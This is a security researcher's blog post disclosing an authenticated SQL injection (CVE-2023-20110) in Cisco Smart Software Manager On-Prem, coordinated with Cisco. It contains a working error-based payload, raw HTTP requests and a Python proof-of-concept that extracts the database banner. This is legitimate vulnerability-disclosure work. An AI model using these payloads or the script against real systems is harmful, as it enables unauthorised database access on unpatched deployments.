Avatar

Jakub Brzozowski

Pentester, bug bounty hunter and security researcher. Also huge fan of Star Wars and coffee connaisseur :coffee:

Cisco Smart Software Manager on-prem SQL Injection

16 Jul 2023 » web-applications

Cisco SSM logo

Overview

Cisco Smart Software Manager (or SSM), is an open-sourced solution from Cisco to manage and distribute license entitlements for all Cisco products in your local network. It connects to cloud based SSM which is linked with the on-prem instance via Virtual Account. A very brief diagram of the system can be found below:

Cisco SSM schema https://www.cisco.com/web/software/286326948/154733/Smart_Software_Manager_On-Prem_8_User_Guide.pdf

Anyone can download and deploy Cisco SSM on-prem from the Cisco releases page. I always prefer to stick to whitebox methodology anytime I have access to source code, so I quickly downloaded and set up the environment.

The machine runs Debian 11 and whole application backend is written in Ruby. Additionally it utilizes PostgreSQL database and Radius service for managing credentials. The server exposes port 8443 which is used for virtual account login and admin dashboard. Admininstrator dashboard is accessible under https://ciscossm:8443/admin/.

Cisco SSM on-prem admin dashboard

Finding the needle in a haystack

I started the research by downloading all the source code for the web application, and searching for intresting endpoints to fiddle with. The I looked for all available API endpoints which can be found in /config/routes.rb file. Below you can find all API endpoints for /notifications/ API.

[...]

namespace :notifications do
get 'manage_account'
get 'search_by_dates'
get 'search_by_event_type'
get 'license_notification'
get 'search_by_user'
get 'search_by_pool'
get 'search_by_smart_account'
get 'get_product_or_license_matches'
get 'satellite_notification'
get 'get_notifications_by_category'
get 'search_by_license_or_license_pool_text'
get 'search_conversion_notifications'
get 'search_account_notifications'
get 'search_security_notifications'
get 'global'
end

[...]

All of the above routes are handled in \app\controllers\admin\notifications_controller.rb file. After close inspection i noticed that the search_account_notifications function does not have a comment above the declaration, unlike other functions in the file which got my attention:

[...]

# GET /notifications/category.json?category="Software"&logical_account_id=1
def get_notifications_by_category
response = Admin::NotificationsCategoryInteractor.run(params)
render_response(response)
end

# GET /notifications/search_by_license_or_license_pool_text.json?logical_account_id=3&text=VA1
def search_by_license_or_license_pool_text
response = Admin::Notifications::SearchByLicenseOrLicensePoolTextInteractor.run(params)
render_response(response)
end

# GET /notifications/search_conversion_notifications.json?logical_account_id=3&virtual_account_or_license_name=Default
def search_conversion_notifications
response = Admin::Notifications::SearchConversionNotificationsInteractor.run(params)
render_response(response)
end

def search_account_notifications
response = Admin::Notifications::SearchAccountNotificationsInteractor.run(params)
render_response(response)
end

# /notifications/search_security_notifications.json
def search_security_notifications
response = Admin::Notifications::SearchSecurityNotificationsInteractor.run(params)
render_response(response)
end

[...]

I searched for the endpoint in the Burp history and found that the endpoint is being queried by the application with limit and offset URL parameters. However fuzzing those parameters returned no promising results. Then I created a list of params from other endpoints from *_controller.rb files and tried fuzzing the endpoint with other params from the commented API methods. After a while - bingo! A single quote inserted to filter_by parameter, resulted in server returning 500 Internal Server Error code with SQL error.

Request:

GET /backend/notifications/search_account_notifications.json?
filter_by=message_type%2cmessage_text%2ccreator_id'&filter_val=a&offset=0&li
mit=10 HTTP/1.1
Host: 192.168.29.139:8443
Cookie: _lic_engine_session=COOKIE; XSRFTOKEN=TOKEN
Accept: application/json
Content-Type: application/json
Connection: close

Response:

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 17 Jan 2023 15:30:38 GMT
Content-Type: application/json; charset=utf-8
Connection: close
Content-Length: 277

{"error":"ActiveRecord::StatementInvalid","error_message":"PG::SyntaxError:ERROR: unterminated quoted string at or near \"')\"\nLINE 1:
...r(message_text) LIKE '%a%' OR lower(creator_id') LIKE '%a%')\n^\n"}

Encouraged by that I quickly run sqlmap but after some tweaking I couldn’t get the SQLi to work. Also any manual exploitation was not successful. At this point I realized that I need to jump into database logs in order to exploit this vulnerability.

In the logs I could see a full SQL query but my excitement was short, as I have realized that I was only able to inject into SELECT COUNT statement. This means I need to build a more complicated error based payload rather that a simple UNION one, as these payloads would not work in this kind of statement.

Cisco SSM database logs

Below you can see the vulnerable query I was injecting into:

SELECT COUNT(*) FROM "notifications" WHERE (message_type IN ('Satellite Registered', 'Satellite Re-Registration', 'Account Activation','Account Removed','Account Requested','Account Request Rejected')) AND (INJECTION HERE)

Back to the drawing board

I decided to look back into the code to better understand the logic behind this function. The code that was responsible for building the query was located in app\services\admin\notification_service.rb:

def get_all_account_registration_events_by_filter(limit, offset, filter_by, filter_val, sort_col, sort_order)
[...]
notifications = Notification.where('message_type IN (?)',message_types).order(sort_params(sort_col, sort_order))
    unless filter_by.nil?
        key = "%#{filter_val.downcase}%"
        columns = filter_by.split(',')
        notifications = notifications.where(
            columns
                .map {|col| "lower(#{col}) LIKE
                :search" }
                .join(' OR '),
                search: key)
[...]

As I am no ruby expert, this fragment of code was really hard for me to understand. So I decided to create a ruby script that generated the query with injected payload based on the above code. You can find created script below:

filter_by = "message_type)) LIKE '%' OR 1 = 1/ (SELECT CASE WHEN (select version() LIKE 'P%') THEN 0 ELSE 1 END)-- ,bbb,ccc,ddd"
filter_val = "eee"

key = "%#{filter_val.downcase}%" 
columns = filter_by.split(',') 

query = columns.map{
    |col|
    "lower(#{col}) LIKE #{key}"
}.join(' OR ')

query = "SELECT COUNT(*) FROM \"notifications\" WHERE (message_type IN ('Satellite Registered', 'Satellite Re-Registration', 'Account Activation','Account Removed','Account Requested','Account Request Rejected')) AND (#{query})"

puts query

The above script does the following:

  1. Our payload is passed to the function in filter_by variable,
  2. Then the script lowercases the variable then prepends and appends ‘%’ to string,
  3. Creates an array from string splitted by comma,
  4. Runs map method for the array, and for each element create string “lower(value_of_column) LIKE search_key”,
  5. Joins all the elements with ‘ OR ‘ string.

In example if we send the following payload:

GET /backend/notifications/search_account_notifications.json?
filter_by=INJECTION,bbb,ccc,ddd&filter_val=eee

We and up with following query:

SELECT COUNT(*) FROM "notifications" WHERE (message_type IN ('Satellite Registered', 'Satellite Re-Registration', 'Account Activation','Account Removed','Account Requested','Account Request Rejected')) AND (lower(INJECTION) LIKE %eee% OR lower(bbb) LIKE %eee% OR lower(ccc) LIKE %eee% OR lower(ddd) LIKE %eee%)

After some trial and error, I was able to craft the following error-based payload that seemed to be working:

message_type)) LIKE '%' OR 1 = 1/ (SELECT CASE WHEN (select version() LIKE 'P%') THEN 0 ELSE 1 END)--

It uses division by zero to trigger an error when our condition is met. In this case we are trying to extract PostgreSQL version banner. The final query with payload looked as follows:

SELECT COUNT(*) FROM "notifications" WHERE (message_type IN ('Satellite Registered', 'Satellite Re-Registration', 'Account Activation','Account Removed','Account Requested','Account Request Rejected')) AND (lower(message_type)) LIKE '%' OR 1 = 1/ (SELECT CASE WHEN (select version() LIKE 'P%') THEN 0 ELSE 1 END)-- ) LIKE %eee% OR lower(bbb) LIKE %eee% OR lower(ccc) LIKE %eee% OR lower(ddd) LIKE %eee%)

I was happy to see that the payload worked when it was sent to the server. The application returned division by zero error indicating that our statement was true.

Request with working payload:

GET /backend/notifications/search_account_notifications.json?filter_by=message_type))+LIKE+'%25'+OR+1+%3d+1/+(SELECT+CASE+WHEN+(select+version()+LIKE+'P%25')+THEN+0+ELSE+1+END)--+,bbb,ccc,ddd&filter_val=eee&offset=0&limit=10 HTTP/1.1
Host: 192.168.29.139:8443
Cookie: _lic_engine_session=REDACTED; XSRFTOKEN=REDACTED
Accept: application/json
Content-Type: application/json
Connection: close

Response with SQL error:

HTTP/1.1 200 OK
Server: nginx
Date: Fri, 14 Jul 2023 08:57:46 GMT
Content-Type: application/json; charset=utf-8
Connection: close
Content-Length: 107

{"error":"ActiveRecord::StatementInvalid","error_message":"PG::DivisionByZero: ERROR: division by zero\n"}

Using python, I created a PoC script to get full extraction of DBMS banner:

"""
Smart Software Manager On-Prem Release 8-202212 - Authenticated SQL Injection in 'filter_by' parameter
Download link: https://software.cisco.com/download/home/286285506/type/286326948/release/8-202212

Usage:
1. Update host and cookies variables,
2. Run `python3 exploit.py`

Tested on Ubuntu 22.04.1 LTS, Python 3.10.6

by redfr0g@stmcyber 2023
"""

import requests
import string
import warnings

# script parameters, update accoridingly
host = "<IP>:8443"
cookies = {"_lic_engine_session": "<COOKIE>", "XSRF-TOKEN": "<CSRFTOKEN>"}


url = "https://" + host + "/backend/notifications/search_account_notifications.json?filter_by=message_type))%20LIKE%20%27%25%27+OR+1+%3d+1/+(SELECT+CASE+WHEN+(select+version()+LIKE+'P%25')+THEN+0+ELSE+1+END)--%20&filter_val=a&offset=0&limit=10"
headers = {"Accept": "application/json", "Content-Type": "application/json"}
chars = string.printable[0:95]
result = []
search = True

print("[+] Cisco Smart Software Manager Release 8-202212 SQL Injection PoC")
print("[+] Starting DBMS banner enumeration...")

# do error based sql injection until no match found
while search:
    for char in chars:
        url = "https://" + host + "/backend/notifications/search_account_notifications.json?filter_by=message_type))%20LIKE%20%27%25%27+OR+1+%3d+1/+(SELECT+CASE+WHEN+(select+version()+LIKE+'" + ''.join(result) + char + "%25')+THEN+0+ELSE+1+END)--%20&filter_val=a&offset=0&limit=10"
        # disable invalid cert warnings
        with warnings.catch_warnings():
            warnings.simplefilter("ignore")
            r = requests.get(url, headers=headers, cookies=cookies, verify=False)
        if "PG::DivisionByZero" in r.text:
            # update and print result
            result.append(char)
            print("[+] DBMS Banner: " + ''.join(result))
            break
        if char == " ":
            # stop search if no match found
            search = False

The script is fairly easy to use, you just have to replace SSM server IP address, and admin cookies to send authenticated request. You can also download the script from my github.

The results of the working PoC script are in the video below.

Advisory

The vulnerability was reported to Cisco PSIRT and you can find the advisory here.

CVE

  • CVE-2023-20110 - Cisco Smart Software Manager On-Prem SQL Injection Vulnerability

Timeline

  • 23.01.2023 - vulnerability reported to Cisco PSIRT,
  • 23.01.2023 - first response from Cisco,
  • 07.02.2023 - successful reproduction of the vulerability by Cisco and identification of the root cause of the bug,
  • 10.05.2023 - CVE-2023-20110 is assigned to the vulnerability,
  • 18.05.2023 - security advisory is published by Cisco,
  • 19.05.2023 - approved to make vulnerability disclosure by Cisco,
  • 17.07.2023 - disclosure in blog post.